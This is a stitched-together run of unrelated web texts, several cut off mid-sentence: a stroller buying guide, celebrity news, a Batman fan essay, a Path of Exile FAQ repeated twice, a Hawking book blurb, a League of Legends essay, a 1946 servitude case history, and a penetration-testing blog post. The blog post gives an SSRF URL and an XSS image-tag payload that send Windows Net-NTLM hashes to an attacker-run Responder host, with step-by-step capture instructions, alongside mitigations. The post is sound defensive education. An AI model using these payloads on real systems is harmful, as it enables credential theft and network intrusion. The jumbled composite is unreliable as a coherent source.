Handlebars come in two types—adjustable and non-adjustable. Adjustable handlebars are perfect if you’re sharing the stroller with another person, or you’re much taller or shorter than an average height.
Handlebars that are at an incorrect height can affect your jogging form, so buying a jogging stroller with adjustable handlebar height is a really good idea.
The only downfall of getting adjustable handlebars is that there will always be some up and down movement of the handlebars, which you might find to be annoying. The advantages of adjustable handlebars definitely overcome the disadvantage.
Seats
The seat in a jogging stroller is made for the comfort of your baby. You’re going to want seats that will keep your baby happy during long runs and jogs.
Get seat padding that is soft and washable. Padding varies from brand to brand, but it will most likely be washable. Some jogging strollers have a safety harness strapped to the seat for particularly bumpy jogs. This is an absolute must—it will secure your baby’s upper and lower body.
Investing in a reclining seat is a good idea because it will reduce the impact of bumps on your baby’s body. There are some jogging strollers that have adjustable seats and adjustable reclining.
Folding
Jogging strollers are much larger than regular strollers and as a result, they do not fold small. There are two ways that your jogging stroller can fold—with a folding mechanism or compact folding.
Folding Mechanism – Jogging strollers that use a folding mechanism are very easy to use. Just remove your baby from the seat and find the button or lever on the side of the stroller. Push it, and the stroller will fold up automatically. This means that you can fold up your stroller using only one hand, which is a huge advantage. The only disadvantage is that a folding mechanism is bulky. But that’s not a huge deal.
Jogging strollers that use a folding mechanism are very easy to use. Just remove your baby from the seat and find the button or lever on the side of the stroller. Push it, and the stroller will fold up automatically. This means that you can fold up your stroller using only one hand, which is a huge advantage. The only disadvantage is that a folding mechanism is bulky. But that’s not a huge deal. Compact Folding – Compact folding requires you to use both of your hands, but it has a much smaller fold than that of a folding mechanism. With compact folding, you need to remove the wheels of your jogging stroller and fold the frame down. It takes a few minutes, but it’s great because you can store the stroller wheels separately from the frame. This is perfect if you have a small car or don’t have much storage space in your home.
Storage
Leaving the house with your baby means that a whole bunch of other stuff is going to come with you. Diapers, baby wipes, food, bottles…the list goes on. Having storage compartments in your jogging stroller will make it easy to bring everything with you.
Most jogging strollers come with storage baskets under the seat. They normally have high mesh sides to prevent any of your belongings from spilling out onto the ground during a bumpy jog.
There are some jogging strollers that have storage pockets sewn right into the canopy. These pockets aren’t very deep but work perfectly for holding small objects, like your keys or wallet.
Storage options in jogging strollers differ greatly from brand to brand, so shop around if you have specific storage requirements for your stroller.
Canopy
All jogging strollers have canopies. Some have a single piece design while others fold down. The canopy is meant for keeping the sun off your baby’s skin when you are outside.
Some canopies are connected to the back of the seat while others are separate, which will allow you to move them around as you need. This will come in handy if you are jogging towards the sun when it is low in the sky.
When the canopy is up, it can be hard to see what your baby is up to in the stroller without walking up to the front to check. This is why some canopies come with a peek-a-boo window.
A peek-a-boo window is located on top of the canopy. It’s a little flap that you can pull up and look through to check on your baby and make sure everything is okay.
Some other things you may want in a Jogging Stroller include:
Cup holders
Trays
Pedometers
Music speakers
Built-in toys
Check Here: How to Clean a Baby Stroller
The Bottom Line
So, as you can see, there’s a lot to think about when purchasing a jogging stroller. It’s all pretty simple, though. All of these features are designed for the comfort of both you and your baby, so it pays off to do a little research.
Both you and your baby are going to benefit from having this jogging stroller, so take your time and check out what the best deals are.
Happy shopping and happy jogging!UNCOMFORTABLE VIEWING: Nicole Kidman has admitted she fled the country after the premiere of Australia and squirmed in her seat while watching the film.
Nicole Kidman isn't "proud" of her performance in Australia.
The 41-year-old actress has revealed she "squirmed" in her seat throughout the Sydney premiere because she was so uncomfortable watching herself on screen.
She said: "I can't look at this movie and be proud of what I've done. I sat there, and I looked at Keith and went, 'Am I any good in this movie?'
"But I thought Brandon Walters and Hugh Jackman were wonderful. It's just impossible for me to connect to it emotionally at all."
Nicole was so nervous about her performance she fled Australia as soon as the premiere was over with husband Keith Urban and their five-month-old daughter Sunday Rose.
She told Australian radio station 2dayFM: "We ran because I didn't want to read anything. I didn't want to know. I saw my sister and my family and we saw Keith's family and then we were straight on a plane."
Nicole added she only attended the premiere to please the film's director Baz Luhrmann.
She said: "I don't usually see my films, but because of Baz I had to see it. I saw Moulin Rouge. I've really only seen that and this in my whole career. It gets worse as I get older."
The film has received mixed reviews.
Stuff.co.nz reviewer Michael Field gave it just one star, saying it was an "embarrassing collection of cliches and pretty pictures, completely devoid of a believable plot made worse by wooden acting".Batman's origin has been told many times. There have been some slight variations over the years but it comes down to the same story. Bruce and his parents go to a movie, they encounter a mugger afterwards, Thomas and Martha are killed and Bruce is left alone. It is then that young Bruce swears an oath by the spirits of his parents to avenge their deaths by spending the rest of his life warring on all criminals.
With Bruce's parents dead, he is raised by the family butler, Alfred Pennyworth. We are lead to believe that Bruce doesn't have any other relatives but that isn't the case. Looking back at Alfred's first appearance in Batman #16, he doesn't even begin working for Bruce until after Batman and Robin have already established themselves as the Dynamic Duo (Alfred was the son of the Wayne Family butler, Jarvis). Another question would be who raised Golden Age young Bruce (and don't say Aunt Harriet).
With retcons and the cleaning up of stories from the Golden Age (and even the Silver Age), we can accept Alfred did raise Bruce (in 1997's Batman - Secret Files & Origins, there is a scene with Alfred and young Bruce bribing a child protective services agent to make things work in their favor). But what about Bruce's other relatives? It has been shown that he had some before and even recently in The Return of Bruce Wayne. Why would his relatives allow him to be raised by the family butler?
Bruce Wayne's Grandparents
In Batman: The Return of Bruce Wayne #5 by Grant Morrison, Bruce ends up appearing in the time shortly after his parent's death. We see that (as part of Doctor Hurt's plan) Bruce talks to his grandparents, establishing that young Bruce did have living relatives living in Gotham. These were the parents of Bruce's mother. When (older) Bruce asked how come the kid didn't stay with his Gran'Ma, he was told that Martha Wayne's relationship with her mother had deteriorated years ago. Despite that, Martha's mother still cared for her daughter and believed Thomas Wayne had Martha killed and faked his own death (which we know was also part of Doctor Hurt's plan).
You would think that she would do all she could to ensure that her grandchild was protected rather than be allowed to be raised by the family butler. Perhaps it was a fear that the man she thought to be Thomas "Bad Tommy" Wayne would try to come after her. How come Bruce never asked Alfred about his grandparents? Even if Doctor Hurt did something to to them, it would make sense that Bruce would try to cling to any living relative he had left or at least attend any funeral services.
What about Uncle Philip?
Who was Uncle Philip? That's a good question. In 1986's Secret Origin #6, Bruce is saying his prayers and then swears to avenge his parents deaths. Are we to assume this Uncle Philip was just a family friend? Apparently neither Thomas nor Martha had any siblings. I just find it odd that after their deaths and Bruce was left all their money, no random relatives came out of the woodworks to try to gain custody of Bruce and get control over the Wayne fortune. Can anyone tell me who the heck Uncle Philip was?
What about other relatives on Martha's side?
I mentioned Martha's parents were still alive when she was killed. Their last name was Kane and I wonder about any relation to the other Kane family in Gotham. We have Kate Kane (who coincidentally) becomes Batwoman and her father Jake. Kate knows Bruce but it's never been mentioned that they were related. We do know that Kate is cousins with Bette Kane, aka Flamebird. It could just be that Kane is simply a common last name around Gotham.
I understand that Bruce growing up without parents and relatives is crucial in his journey to becoming Batman. I know Batman's story is decades old but with Grant Morrison establishing his grandparents were still alive, I just find it odd that no one would question a butler raising a child alone in a huge mansion.
The only thing that does make sense is young Bruce and Alfred threw around money to ensure that no one was able to take him away, including any other living relatives.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Oct. 5, 2016, 11:50 AM GMT / Updated Oct. 5, 2016, 11:50 AM GMT By Ken Dilanian
An American spy working undercover in Moscow is tackled and beaten at the gates of the U.S. Embassy. A Russian fighter jet flies within 30 feet of a U.S. Navy ship. Russian intelligence agencies hack into an American political party, and soon afterward embarrassing emails become public.
The same Russian government that invaded and annexed Ukrainian territory in Crimea is |
this affect them too? In which way? Burning Ground is not Ignite. Its damage does not come from a hit, so it was never possible to double-dip that damage. Hence, it is unaffected by the removal of double-dipping.
Since Burning Ground applies Burning Damage to things within an area, it will always be considered Area Damage, and affected by relevant modifiers. This was discussed in the second of these posts.
Since both the initial hit and DoT will have damage calculated separately, will penetration affect both the calculations now instead of just the hit? Penetration is inherently an on-hit effect. It cannot apply to Damage over Time.
Since bleeding and poison will now be considered Ailments, will that make Atziri immune to them too? No, in fact Atziri will be losing her immunities as discussed in the previous post. She may retain some form of ailment protection if we deem it necessary, but this isn't currently planned.
Is the design intent of correcting double dipping also going to come with a rebalance of end-game monster HP? This is something we'll be reviewing during Beta. It's unlikely that we'll change the health of the highest tier content; The most effective Damage over Time builds made the content far easier than was intended, and with these new changes the bosses should be a more suitable encounter length for powerful builds.
Will these changes mean that we'll see an increase in power of some effects that were reduced in power because of Double Dipping? We'll be looking at unique items and passive tree values for the duration of the beta, and make adjustments throughout. Multiplicative effects will be receiving the most scrutiny, but we're reviewing every unique item that can interact with Damage over Time effects.
For fire based spellcasters, crit and non-crit have both been appealing options, because both have two ways to scale their damage (initial hit damage and multi for crit and ignite damage for non-crit). The Ignite system only allows one-dimensional scaling and thus will either be extremely powerful early on, or it will get outclassed very quickly by crit based builds that ignore ignite. How will you counteract that problem? Criticals are now one of the most effective ways to scale damage at the highest level of play. Their damage increases come from a large number of sources, so we can adjust critical chance and critical multiplier values available to players in many different ways. We'll be keeping a close eye on this during the Beta, as Criticals have often been responsible for the highest potential damage in the past.
We're also continuing to look at ways to keep Damage over Time scaling at the same rate as other damage towards end game, through both supports, access to damage modifiers, and potential new special effects on items, passives and supports.
How will Traps, Mines and Totems be affected by this change? We'll be reverting the Trap and Mine Support multiplicative damage modifier to affect all damage caused by the skill, rather than only applying to hits. Modifiers to Trap, Mine, and Totem damage will still apply to Damage over Time caused by Traps, Mines and Totems, so we're going to be carefully reviewing how this will affect these builds during the Beta.
Will there be a way to make spells, via tree or gem, inflict bleeding, such as those that deal physical damage, or give minions that deal physical damage the ability to inflict a bleed? Bleeding is specific to attack damage, so it cannot be applied by spells. We're trying out a new Chance to Bleed support gem during the Beta, so you will be able to easily give your Minions or attacks a chance to bleed.
The damage bonus from Hypothermia cannot currently affect DoTs directly. As far as I know this is due to a technical limitation, but will that be addressed with this slew of changes to the system? No. Conditional modifiers like that fundamentally can’t apply to DoTs. However, we’re doing a push to ensure that the descriptions of such modifiers are more clear about this fact.
Has Herald of Ash been changed because of this system? Herald of Ash has been reworked. Rather than applying Ignite to enemies, it applies its own unique burning effect. There is a specific property which is displayed on the skill restricting which modifiers can apply to that burning effect, to prevent any double-dipping. Since this is a new kind of burning effect, it will stack with existing forms of burning, including Ignite.
Will the Bloodlust Gem still prevent linked skills from causing bleeding? Yes, it will. We'll be introducing other support gems to further enhance Bleeding as well, so Bloodlust won't be the only support that applies specifically to Bleeding effects.
We received many other questions about these changes and we'll continue to answer some of these next week! We recently shared two Development Manifestos that discussed changes to Damage Over Time coming in the 3.0.0 beta. If you missed them, here is Part One and Part Two of these manifestos. We received many questions in response to these posts and we've dedicated today's news post to addressing some of them!Most modifiers available to a player that scale the damage dealt by minions affect "Minion Damage". This is a generic damage modifier on the minions that will affect all damage they do, including any damage over time, as well as their hits. In addition, support gems affecting minions apply to all their damage in the same way they apply to a player's skill. They'll benefit from new support gems and changes to existing ones, such as the previously mentioned change to the Increased Burning Damage Support, which will now provide a multiplicative bonus.Righteous Fire's Damage over Time never took its base damage from a hit (Righteous Fire is not Ignite), so it could never double-dip, and will not be affected by the changes. However, it will now be scaled by any new modifiers to Damage over Time that are added alongside these mechanical changes (but not modifiers that are specific to Ignite Damage). It will be rebalanced to account for these improvements in support available for the skill.In terms of damage modifiers, Viper Strike's poison will work just like all other Poison, as described in the first post on this subject.Viper Strike will now have a special property which makes its considered skill effect Poison. This means that for Viper Strike, modifiers to Skill Effect Duration will affect the duration of Poison. In all other cases they will not, due to Poison being considered an Ailment now. This also means Viper Strike will specify the base duration of its Poisons, overriding the default base duration of 2 seconds (it already does this part).Puncture will have the same modifier with respect to Bleeding.We're going to be re-adjusting the pvp scale of many damage over time effects. We've yet to determine exactly how we'll be adjusting bleeding effects on players, but we'll definitely need to reduce the damage players take while stationary from other players' bleeds.Emberwake is being substantially reworked, we'll be revealing how this item will function in the future. Each Ignite applied to an enemy is independent, with its own damage value rolled from the base damage of the skill that caused it.During the Beta, we're planning to try out a change to Burning Arrow to bring it closer to Puncture and Viper Strike. This should make it a great choice for applying a strong Ignite effect with bow attacks, especially in combination with Sudden Ignition.The damage of the Caustic Cloud never came from a hit, so it was never possible to double-dip with Caustic Arrow. The mechanical changes of removing double-dipping will have no effect on it - they only affect Bleeding, Ignite, and Poison. Due to the changes to how we determine whether Damage over Time is Area Damage, discussed in the second of these posts, the Caustic Cloud will still be Area Damage. The skill will have a stat that lets modifiers to Projectile Damage apply to the cloud as well.As a happy side effect of these changes, the effect of Area Damage modifiers will now be reflected in the displayed tooltip damage for the Caustic Arrow.We'd like to make mechanical improvements to Caustic Arrow in the future, though we may not have time alongside all our other changes in the Beta. We'll definitely review its base damage, but we'd like to improve the skill or add an interesting Threshold Jewel for it in future.Burning Ground is not Ignite. Its damage does not come from a hit, so it was never possible to double-dip that damage. Hence, it is unaffected by the removal of double-dipping.Since Burning Ground applies Burning Damage to things within an area, it will always be considered Area Damage, and affected by relevant modifiers. This was discussed in the second of these posts.Penetration is inherently an on-hit effect. It cannot apply to Damage over Time.No, in fact Atziri will be losing her immunities as discussed in the previous post. She may retain some form of ailment protection if we deem it necessary, but this isn't currently planned.This is something we'll be reviewing during Beta. It's unlikely that we'll change the health of the highest tier content; The most effective Damage over Time builds made the content far easier than was intended, and with these new changes the bosses should be a more suitable encounter length for powerful builds.We'll be looking at unique items and passive tree values for the duration of the beta, and make adjustments throughout. Multiplicative effects will be receiving the most scrutiny, but we're reviewing every unique item that can interact with Damage over Time effects.Criticals are now one of the most effective ways to scale damage at the highest level of play. Their damage increases come from a large number of sources, so we can adjust critical chance and critical multiplier values available to players in many different ways. We'll be keeping a close eye on this during the Beta, as Criticals have often been responsible for the highest potential damage in the past.We're also continuing to look at ways to keep Damage over Time scaling at the same rate as other damage towards end game, through both supports, access to damage modifiers, and potential new special effects on items, passives and supports.We'll be reverting the Trap and Mine Support multiplicative damage modifier to affect all damage caused by the skill, rather than only applying to hits. Modifiers to Trap, Mine, and Totem damage will still apply to Damage over Time caused by Traps, Mines and Totems, so we're going to be carefully reviewing how this will affect these builds during the Beta.Bleeding is specific to attack damage, so it cannot be applied by spells. We're trying out a new Chance to Bleed support gem during the Beta, so you will be able to easily give your Minions or attacks a chance to bleed.No. Conditional modifiers like that fundamentally can’t apply to DoTs. However, we’re doing a push to ensure that the descriptions of such modifiers are more clear about this fact.Herald of Ash has been reworked. Rather than applying Ignite to enemies, it applies its own unique burning effect. There is a specific property which is displayed on the skill restricting which modifiers can apply to that burning effect, to prevent any double-dipping. Since this is a new kind of burning effect, it will stack with existing forms of burning, including Ignite.Yes, it will. We'll be introducing other support gems to further enhance Bleeding as well, so Bloodlust won't be the only support that applies specifically to Bleeding effects.We received many other questions about these changes and we'll continue to answer some of these next week!Stephen Hawking Random House Publishing Group, Sep 10, 2013 - Science - 144 pages 17 Reviews NATIONAL BESTSELLER
Stephen Hawking has dazzled readers worldwide with a string of bestsellers exploring the mysteries of the universe. Now, for the first time, perhaps the most brilliant cosmologist of our age turns his gaze inward for a revealing look at his own life and intellectual evolution.
My Brief History recounts Stephen Hawking’s improbable journey, from his postwar London boyhood to his years of international acclaim and celebrity. Lavishly illustrated with rarely seen photographs, this concise, witty, and candid account introduces readers to a Hawking rarely glimpsed in previous books: the inquisitive schoolboy whose classmates nicknamed him Einstein; the jokester who once placed a bet with a colleague over the existence of a particular black hole; and the young husband and father struggling to gain a foothold in the world of physics and cosmology.
Writing with characteristic humility and humor, Hawking opens up about the challenges that confronted him following his diagnosis of ALS at age twenty-one. Tracing his development as a thinker, he explains how the prospect of an early death urged him onward through numerous intellectual breakthroughs, and talks about the genesis of his masterpiece A Brief History of Time—one of the iconic books of the twentieth century.
Clear-eyed, intimate, and wise, My Brief History opens a window for the rest of us into Hawking’s personal cosmos. Preview this book »Introduction
NTLM authentication is the de-facto standard in corporate networks running Windows. There are a plethora of well-understood local attacks that take advantage of the way Windows perform automatic NTLM authentication, and abusing this feature is undoubtedly on the playbook of every penetration tester and red teamer.
Here at Blaze Information Security we recently spent some time investigating how we could abuse this feature using remote vectors, especially from the standpoint of web application vulnerabilities.
The goal is to discuss how issues such as Server-Side Request Forgery and Cross-Site Scripting can be weaponized to steal Net-NTLM hashes, which can be useful to get further access into a network.
This post assumes the reader is familiar with some of the concepts outlined here and will skip several technical details on the inner workings of NTLM authentication, how to configure and use the tools needed to capture Net-NTLM hashes, or teach how to exploit XSS and SSRF.
All experiments were done by Blaze Information Security in its labs using Windows 10 baremetal, Windows 7 virtual machines and Ubuntu Linux as a rogue authentication server.
A few words on Integrated Windows Authentication
Anyone that has used Windows in an intranet corporate environment may have noticed that accessing corporate resources in a network is frictionless and in many cases requires no explicit authentication prompting for credentials, other than the initial Windows domain log on. This is true for several services, like network mapped drives, intranet websites, and more.
Windows WinHTTP provides developers with a high-level API that handles the HTTP/1.1 protocol. Among other functionalities, WinHTTP has the ability to automatically handle authentication to access protected resources by negotiating NTLM, Kerberos and others.
Microsoft-based browsers Internet Explorer and Edge have a concept of trusted zones: Internet, Local Intranet, Trusted Sites and Restricted Sites. Each zone has a different security level and associated restrictions. For example, for Intranet zone sites Internet Explorer disables the XSS filter, runs ActiveX plug-ins, performs automatic logons, and overall has less security controls than for Internet sites.
By default when a web server has a resource protected by NTLM authentication, Internet Explorer and Edge will perform the authentication automatically if the website is either located within the corporate intranet or is whitelisted in the Trusted Sites, respecting the concept of trusted zones.
Other browsers, like Mozilla Firefox and Google Chrome also support automatic NTLM log-on. Chrome relies on the same settings as Internet Explorer; in the case of Firefox, this configuration is not enabled by default and has to be manually changed via about:config.
Enter Responder
Responder[1], by Laurent Gaffie, is by far the most popular tool in the arsenal of every penetration tester to steal different forms of credentials, including Net-NTLM hashes.
It works by setting up several emulated but rogue daemons, like SQL server, FTP, HTTP and SMB server, etc., to either directly prompt for credentials or to simulate a challenge-response authentication procedure and capture the necessary hashes sent by the client.
Responder also has the ability to poison protocols like LLMNR, NBT-NS and mDNS, but these will not be covered in this post.
Abuse scenarios via web application vulnerabilities
Recently we spent some time investigating how to further weaponize web application vulnerabilities to gain access into a network by taking advantage of the fact that Windows, under some conditions, may respond with NTLM hashes when challenged for credentials.
We wanted to describe two common vulnerabilities found in web applications and how we could leverage them to steal hashes, compromise accounts and get a foothold into a corporate network.
Scenario #1: From SSRF to hashes
SSRF vulnerabilities are commonly used to send HTTP requests to other servers and scan the internal network. It turns out it can also be used to force a vulnerable web application to make the underlying Windows server leak its NTLM hashes.
We put together a Flask application vulnerable to SSRF in order to better illustrate the issue. The concept is very simple: it has a parameter URL and when any site is passed to it, whether it is http://www.blazeinfosec.com or http://intranet.corporate, it will send an HTTP request, fetch the resource and respond it back to the client with the content fetched by the request.
The sample vulnerable web application relies on Python's win32com module. With this module one can call a COM object that uses the native WinHTTP.WinHTTPRequest.5.1 to issue HTTP requests, and because of SetAutoLoginPolicy set to 0 it will send credentials automatically.
It is important to mention that the URL resource fetching functions of some frameworks do not have a tight integration with Windows and will not perform automatic log-ons, unlike in this case. However, Java's URLConnection(), and possibly others will do too.
To exploit the vulnerability and obtain the user's Net-NTLM hash, all it takes is to browse to the following URL:
http://127.0.0.1:8000/?url=http://server_listening_responder
In the background, without any sort of interaction, the following happens:
The Windows API will send an HTTP request
The server (in this case, Responder) will send the header WWW-Authenticate: NTLM prompting it to authenticate with NTLM
The client (in this case, the vulnerable application running in the server) will respond to the challenge and the attacker will grab the server's Net-NTLM hash
The final result is the adversary successfully captured Net-NTLM credentials:
Even though Net-NTLM hashes cannot be used in Pass-the-Hash attacks, unlike pure NTLM hashes, they can be relayed or cracked using off-the-shelf tools like hashcat:
Scenario #2: XSS: alert(1) is boring, let's get some Net-NTLM hashes
As mentioned previously, when a web server prompts Internet Explorer and Edge for NTLM credentials, in its default configuration it will do the challenge-response authentication procedure and send the logged-in user's hash to the requesting server, provided the site's domain is sitting in the corporate intranet or is present in the list of Trusted Sites.
Below is Internet Explorer's default configuration when it comes to automatic log-on in intranet sites:
Very often corporations whitelist its corporate domains as intranet trusted sites, like in the following example:
This means that if you are performing a penetration test of a web application running in an intranet and you found Cross-Site Scripting, there are good chances you can leverage this otherwise boring vulnerability into a hash stealing bonanza.
By enticing anyone in a corporate environment to browse a page containing the following HTML code:
<html> <img src="http://hostname_to_internal_responder"> </html>
If the HTTP server running Responder is within the intranet and its hostname, or its subdomain, marked as trusted, as it usually is, Internet Explorer and Edge will send the hashes automatically.
The following steps outline the XSS-to-NTLM hashes attack pattern:
Step 1: Set up your Responder running in HTTP mode in the local network- very often you will have a reverse DNS for your IP under the corporate network, meaning you will have a hostname
Step 2: In the XSS payload enter something along the lines of
<img src="http://hostname_to_internal_responder">
Step 3: Wait for an unsuspecting victim to browse the page affected by XSS - if it's Stored XSS, even better
Step 4: Capture the hashes
Usually organizations also mark as trusted all content served by its subdomains. For example, if *.blazeinfosec.com is whitelisted all it takes is one server in *.blazeinfosec.com to be compromised to run Responder, and it later can be used to steal hashes of users in the corporate network via this vector.
If the client tries to connect to an HTTP server challenging it with NTLM authentication but the hostname is not within any sort of trusted list of Internet Explorer or Edge, the client will be prompted for credentials like in the screenshot below:
Mitigating the risk
The issues described in this post are all well known for a while and in fact are design decisions of Windows. NTLM authentication works in this way since its early days, and some of these vulnerabilities have been discussed over 20 years ago, despite there is not significant awareness about its risks.
There are, however, different ways to reduce the impact brought by this insecure behavior of Windows.
Setting to 2 the value of the registry key RestrictSendingNTLMTraffic in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
will reduce the exposure of this risk, as Windows will no longer send the NTLMv1 or NTLMv2 hashes when challenged by a server, whether it is legitimate or rogue.
However, it is important to consider this may break functionality, especially in a corporate network heavily using NTLM for automatic log-ons.
In the scenario related to SSRF, it is recommended to use HTTP libraries that do not perform automatic NTLM authentication. Another idea to reduce this risk is to have rules in your corporate proxy preventing negotiation of NTLM authentication with servers outside of your network boundary.
Conclusion
There are several benefits NTLM authentication can bring to an organization that relies on Windows and other Microsoft products. Single sign-on capabilities provide a seamless user experience when accessing different corporate systems, improving user's productivity and reducing the burden of having to constantly authenticate.
Nevertheless, there are security risks related to NTLM authentication that are frequently overlooked, despite they have been known for over two decades now.
For the penetration testers out there, every time you find a SSRF it may be worth pointing it to a server running a Responder listener. There is always a chance you will get NTLMv1 or NTLMv2 hashes and get deeper into the target network.
Developers and risk officers should not underestimate the impact of a XSS in internal applications. It may be a good idea to revisit your bug tracker for WONT_FIX tickets containing XSS in an internal app and reconsider leaving it unresolved, as its impact may be greater than a simple pop-up box or a session cookie being stolen.
It is always nice to leverage an otherwise boring vulnerability like Cross-Site Scripting into an actual foothold in a corporate network.
References
[1] https://github.com/lgandx/Responder
[2] https://msdn.microsoft.com/en-us/library/ms775123%28v=vs.85%29.aspx
[3] https://github.com/blazeinfosec/ssrf-ntlmOverview:
As of late, Gragas has been seeing a lot of play in not only solo queue, but also the North American League Championship Series. With a current 21.17% pick rate in North American solo queue (according to lolking.net), and an immense pick/ban rate in week 3 of the NA LCS, many players have been seeing the potential with this Rabble Rouser. With his kit of innate damage reduction, mana regen, gap closer, knock-up, displacement, and high burst, Gragas has recently been given the nickname "The Second Kassadin" by the LCS casters. Though Gragas has been a fairly strong champion for a long time, it was not until the Season 3 World Championships that Gragas would be noticed as a strong mid-lane pick. This was brought to light by SK Telecom T1's "Faker" who made a great play against Team OMG's mid laner, "Cool".
After the hype of Faker's Gragas play throughout the World Championships in multiple games, people all around solo queue began picking him up in the months that followed.
The Nerf:
On November 25th, 2013, Riot introduced the 3.14 pre-season patch. With many changes coming to the rift, it was no surprise that the fat menace in solo queue would be hit by somewhat of a nerf (more of a balance in my opinion). Prior to the patch, Gragas' body slam (his E ability) was on a very low 7 second cooldown which allowed him to chase and escape in many situations with little room for counter-play. This made him an incredibly mobile champion able to roam around the map at a fairly quick pace.
The 3.14 patch nerfs encompassed increasing the cooldown of his body slam from 7 seconds to 12 seconds. In addition, the damage dealt when Gragas would collide with an enemy would no longer be split if he hit multiple enemies. Instead, this made it so that Gragas would deal full damage instead to all enemies hit and halve the cooldown of body slam. In my own opinion, this wasn't really a 'nerf', but more of a rework of his kit. Gragas' barrel roll (his Q) was also nerfed in the sense that the cast range was reduced from 1100 to 950, and players could no longer detonate the barrel while it was still rolling. Though there weren't too many changes, they had a big impact in making Gragas more committed when he would engage and would punish players who did not use his body slam wisely and thus offering more room for counterplay.
The Rabble Rouser:
Gragas' ability to teamfight and 1v1 enemies is what makes him a very strong pick. His barrels do immense burst damage, his W gives him innate tankiness due to damage reduction in addition to refunding mana, and his body slam offers him great mobility, damage, and slow. However, his basic abilities do not overshadow his ultimate, which is his explosive cask. With huge burst damage, and potential to not only disperse, but knock enemies back, the ability in itself is what makes Gragas the champion he is. The giant AOE spell can easily disengage or spread out the enemy team during a fight, which allows one's team to isolate a specific target, retreat safely, or simply dish out TONS OF DAMAGE.
With massive amounts of burst, utility, mobility, and innate tankiness, it's no wonder why Gragas has been making a huge (haha) impact in the game and has earned the nickname of "The Second Kassadin".
Personal Experience & Insight:
When I first saw Gragas I actually didn't want to play him. Why? Well, I simply didn't like the idea of being a sluggish giant fat guy running around the map. However, when I began picking him up at the end of Season 3, I realized that he was actually not sluggish at all, but he was incredibly mobile and did tons of damage. Being a player currently in Gold Division II, Gragas is banned/picked in I would say about 50% of my games. I usually play him first chance I get because I tend to do well with him and when it gets to late game, I'm able to contribute a lot to fights.
Since I'm in Gold, there are definitely others out there who know a lot more about the champion than I do, or can even out perform me in every single way on the champion, but for me, he is a comfort pick and I enjoy playing him quite a lot. I usually go a pretty standard build playing Gragas and adjust if need be. When I first started playing him, I noticed that his laning phase was similar to Kassadin's in the sense that you need to get into melee range to last hit minions. Though slightly easier because you have your wave clear accessible to you early on, I really did see the resemblance between the two champions. As I played more and more of Gragas, I've sort of gotten accustomed to his laning style and try to incorporate characteristics of this champion into the other ones I play (Ziggs, Kayle, Kassadin, and even Teemo).
Conclusion:
Gragas is a really strong champion in solo queue and professional play right now. He's able to carry games, deal huge damage, disrupt enemies, and get around the map quickly. After personally playing him as one of my go-to champions, I can confidently say that he is definitely a champion worth looking into or learning.In October 1946, near the end of a 33-day cross-country trip from Massachusetts to San Diego, the prominent Boston blue-blood couple of Alfred and Elizabeth Ingalls stopped over in Berkeley, California, to visit their daughter, Helen Roberts, and her husband, Dr. Richard Roberts, a research chemist. It was in the Ingallses’ expensive new car parked near her apartment that Helen was appalled to find the Ingallses’ maid, 57-year-old Dora L. Jones, an African-American woman she had known since childhood, asleep, shabbily dressed, and crammed in with the luggage, her ankles swollen, her abnormally thin, diminutive body exhausted by the long drive. It had been a drive marred by the Ingallses’ insistence that Dora sleep in bathtubs or in their sedan parked near motels. Years of pent-up guilt and anguish immediately surfaced in Helen, who then summoned the courage to expose her parents’ decades-long cruel exploitation of Dora to state and federal authorities. The sensational legal battle that resulted uncovered adultery, abortion, deception, family dysfunction, and, above all, unrelenting vengeance. It caught the attention of the New York Times, Chicago Tribune, Boston Herald, and Time magazine. Witnesses were brought in from 3000 miles away, and a riot outside the courtroom was narrowly averted. The trial and landmark verdict reached in San Diego added another disturbing race-related entry in the annals of American jurisprudence. It was the first legal case of its kind since 1880 and woke painful memories of the nation’s slavery-stained past.
Interviewed by the Berkeley police, the Ingallses were imperious, clever, and convincing while denying insinuations of mistreatment and bondage claimed by their daughter. The previous evening Helen was told her inheritance was in jeopardy and so was her husband’s employment if she pressed the matter. The Ingallses characterized her daughter’s attempt to rescue Dora as a kidnapping. Turning to Dora, Elizabeth reminded her of her lack of intelligence, her diabetes that needed monitoring, and made veiled threats with the cryptic remark: “I will take care of you...others will not do so. Besides, you are a criminal. You know and I know what I refer to.”
Timid, speaking in whispers, and desperate to accommodate everyone, Dora was unaccustomed to defending herself and did not contradict the Ingallses’ version of events. Berkeley police permitted the Ingallses and Dora to proceed together south to their final destination, the coastal resort city of Coronado, across the bay from San Diego. A one-month stay at the Hotel del Coronado did not include Dora, who was forced to sleep on the beach. Meanwhile, an unnamed third party who had heard Helen’s accusation of her parents communicated details to the Federal Bureau of Investigation, which gathered sufficient evidence to charge the Ingallses with a violation of Dora’s civil rights as delineated in the 13th Amendment of the U.S. Constitution outlawing slavery and involuntary servitude.
Authorities arrested Alfred and Elizabeth and on February 25, 1947, at their newly purchased two-story retirement home at 911 A Avenue. Held overnight in county Jail, they were released on $2500 bonds the following day while Dora was taken into protective custody by the FBI to be called upon later in court as a material witness. A federal grand jury in Los Angeles returned an indictment in late March. Charged with having transported Dora within the state of California with the intent of holding her as a slave, the Ingallses’ trial in federal court commenced in San Diego on June 24. Both Alfred, age 64, and Elizabeth, age 62, pleaded innocent.
The accursed and the accused
Dora Jones, born Theodora Lawrence Jones in 1890 in Athens, Alabama, was one of nine children of former slaves Plato and Lizzie Jones. A bright child who grew to enjoy singing and playing the piano, Dora was noticed by Elizabeth Ingalls (née Myra Elizabeth Kimball) when the latter taught at Trinity Mission School in Athens, circa 1905. In 1907, Elizabeth, a graduate of Simmons College, married Walter P. Harman, a Harvard classmate of Franklin D. Roosevelt’s who worked as a government clerk. She gave birth to her first daughter, Ruth, in Washington DC. She sent for Dora, then her admired protégé, to be her housemaid and nanny.
But husband Walter desired more than scrubbed floors and pressed shirts from the teenager. He seduced and impregnated Dora, who volunteered particulars of their affair to Elizabeth. Rather than returning Dora to Alabama to have the baby as the family doctor recommended, Elizabeth insisted on an abortion, which she personally arranged. The situation worsened when Elizabeth suffered a miscarriage and blamed it on an argument she had with Dora, thereafter accusing her of being both an adultress and a murderer of two babies which assuredly condemned her to hell.
